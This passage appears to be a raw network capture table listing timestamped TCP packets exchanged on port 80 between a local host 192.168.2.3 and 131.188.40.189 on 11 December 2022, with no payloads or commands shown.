Dec 11, 2022 09:25:06.470129967 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.470141888 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.470179081 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.470211983 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.470221043 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.470242023 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.470283985 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.470283985 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.470326900 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.470369101 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.470375061 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.470412016 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.470457077 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.470463991 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.470501900 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.470542908 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.470545053 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.470587015 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.470628977 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.470642090 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.470671892 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.470712900 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.470714092 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.470757961 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.470802069 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.470818043 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.470846891 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.470894098 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.470916033 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.470961094 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.471004009 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.471005917 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.471048117 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.471091986 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.471111059 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.471137047 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.471183062 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.471191883 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.471226931 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.471276045 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.491260052 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.491327047 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.491372108 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.491378069 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.491416931 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.491461992 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.491468906 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.491507053 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.491554022 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.491556883 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.491602898 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.491641998 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.491646051 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.491689920 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.491729975 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.491733074 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.491777897 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.491821051 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.491822004 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.491867065 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.491909027 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.491928101 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.491971016 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.492013931 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.492022991 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.492058992 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.492104053 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.492105961 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.492150068 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.492191076 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.492202997 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.492225885 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.492270947 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.492271900 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.492300987 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.492345095 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.492358923 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.492388010 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.492429018 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.492430925 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.492477894 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.492506027 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.492522955 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.492553949 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.492595911 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.492597103 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.492641926 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.492680073 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.492687941 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.492731094 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.492774010 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.492774963 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.492819071 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.492856026 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.492868900 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.492892027 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.492925882 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.492934942 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.492973089 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.493015051 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.493036032 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.493057966 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.493098974 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.493100882 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.493144989 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.493187904 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.493189096 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.493232012 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.493273973 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.493273973 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.493316889 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.493355036 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.493361950 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.493417025 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.493458986 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.493462086 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.493505001 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.493546963 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.493547916 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.493593931 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.493637085 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.493638992 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.493680954 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.493721008 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.493724108 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.493767977 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.493810892 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.493818045 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.493853092 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.493890047 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.493901014 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.493928909 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.493973970 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.493978977 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.494016886 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.494064093 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.494067907 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.494090080 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.494133949 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.494148970 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.494177103 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.494220018 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.494249105 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.494261980 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.494304895 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.494307041 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.494349957 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.494391918 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.494410038 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.494443893 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.494483948 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.494487047 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.494529963 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.494571924 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.494576931 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.494620085 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.494647026 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.494668007 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.494690895 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.494733095 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.494735956 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.494776011 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.494824886 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.494848013 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.494867086 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.494904995 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.494921923 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.494968891 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.495011091 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.495012045 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.495054007 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.495100021 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.495098114 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.495126963 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.495167971 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.495170116 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.495212078 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.495254993 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.495258093 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.495296955 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.495341063 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.495342970 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.495371103 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.495414972 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.495414972 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.495466948 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.495490074 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.495508909 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.495533943 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.495577097 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.495580912 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.495621920 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.495663881 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.495666027 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.495707989 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.495750904 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.495754004 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.495795012 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.495836973 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.496335030 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.516726017 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.516789913 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.516813040 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.516849041 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.516856909 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.516902924 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.516905069 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.516947031 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.516988039 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.516992092 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.517030001 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.517069101 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.517076969 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.517122984 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.517163992 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.517177105 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.517204046 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.517245054 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.517245054 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.517288923 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.517328978 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.517344952 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.517370939 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.517411947 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.517429113 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.517452955 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.517493963 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.517513037 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.517534018 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.517575026 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.517604113 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.517616034 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.517669916 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.517678022 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.517712116 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.517752886 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.517761946 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.517793894 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.517838001 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.517848015 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.517862082 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.517905951 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.517908096 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.517946959 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.517997026 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.518002987 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.518038034 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.518081903 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.518101931 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.518122911 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.518162966 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.518172979 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.518204927 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.518244028 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.518249035 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.518285990 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.518326998 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.518347025 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.518368006 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.518409014 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.518414974 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.518450022 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.518488884 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.518493891 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.518531084 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.518570900 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.518578053 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.518610954 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.518649101 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.518656969 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.518690109 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.518729925 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.518738031 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.518769979 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.518810034 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.518816948 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.518853903 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.518904924 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.518927097 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.518966913 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.519006014 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.519021988 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.519046068 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.519085884 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.519093037 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.519128084 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.519166946 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.519176006 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.519207954 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.519247055 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.519257069 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.519285917 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.519325972 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.519336939 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.519352913 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.519392967 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.519433022 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.519459963 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.519471884 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.519471884 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.519512892 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.519551992 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.519557953 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.519591093 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.519632101 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.519634008 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.519694090 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.519738913 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.519754887 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.519792080 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.519805908 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.519845963 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.519850969 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.519885063 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.519890070 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.519931078 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.519969940 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.519975901 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.520009995 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.520051003 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.520076990 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.520090103 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.520129919 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.520132065 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.520170927 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.520214081 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.520222902 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.520252943 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.520296097 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.520313025 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.520354986 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.520397902 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.520406961 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.520442009 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.520483971 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.520493984 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.520536900 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.520579100 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.520581961 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.520625114 CET	80	49692	131.188.40.189	192.168.2.3
